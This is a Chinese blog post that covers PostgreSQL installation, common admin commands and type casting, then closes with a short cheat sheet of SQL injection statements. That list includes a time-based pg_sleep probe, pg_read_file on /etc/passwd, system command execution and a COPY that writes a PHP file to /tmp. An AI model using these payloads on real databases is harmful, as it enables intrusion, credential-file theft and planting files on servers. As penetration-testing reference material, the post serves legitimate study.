Tommonkey

All greatness comes from a brave beginning

0%

Postgresql数据库相关知识及注入

Postgresql是开源的,免费的,并且属于关系型数据库。他与mysql一样都依赖于 SQL(结构化查询语言)

部署Postgresql

关于Postgresql的安装方式有三种,分别是:yum源安装,源码安装,二进制安装,这里为了方便,我选择的是源码安装。这是Postgresql源码包下载的官网:

1
https://www.postgresql.org/download/

Postgresql官网下载的页面提供了安装脚本(选择响应的版本),安装过程十分方便噢!在安装过程中默认安装会创建postgres 用户,,使用postgres用户,psql命令会直接进入数据库。
1-1
1-2
1-3
进入数据库看是否正常:
1-4

Postgresql常用命令与函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
psql -U post -d dbname -h host -W   	# 使用post用户登录到数据库名为:dbname,登录主机为host地址,-W表示是否输入密码  
CREATE USER testUser WITH PASSWORD '*'; # 创建用户
GRANT ALL PRIVILEGES ON DATABASE test TO user; # 将数据库test授权给user,但此时用户还是没有读写权限,需要继续授权表
GRANT ALL PRIVILEGES ON all tables in schema public TO user; # 授予读写权限
ALTER ROLE pg SUPERUSER # 修改用户角色为超级管理员
CREATE/DROP ROLE name # 创建/删除 角色
\l # 显示所有数据库
\c dbname # 使用某个数据库
\du # 用户列表
\dt # 显示数据表
\password post # 为post用户添加密码
\di # 查看索引
create\drop database dbname; # 创建\删除数据库
alter table [表名A] rename to [表名B]; # 重命名数据表
drop table [表名]; # 删除表

其他的一些命令我就不写了,这里贴一张网上的资源:
1-5

CAST() 与 ::

CAST是用来进行数据类型格式转换,当传入的某些数值会与数据库字段类型不一致,就需要CAST来进行类型转换,如:

SELECT name FROM student WHERE id = cast(1003 as VARCHAR);

这里使用cast将1003整数型转化为VARCHAR字符串类型。
字段::也是用户类型转化的,如:

SELECT name FROM student WHERE id = 1002 :: VARCHAR;

表示的也是将1002整数型转换为VARCHAR字符型。

资源

这里贴上来自互联网上的关于该数据库注入有关的语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
select CURRENT_SCHEMA()           #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度

select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件

噢,这个数据库的注释是:--

奖励作者买杯可乐?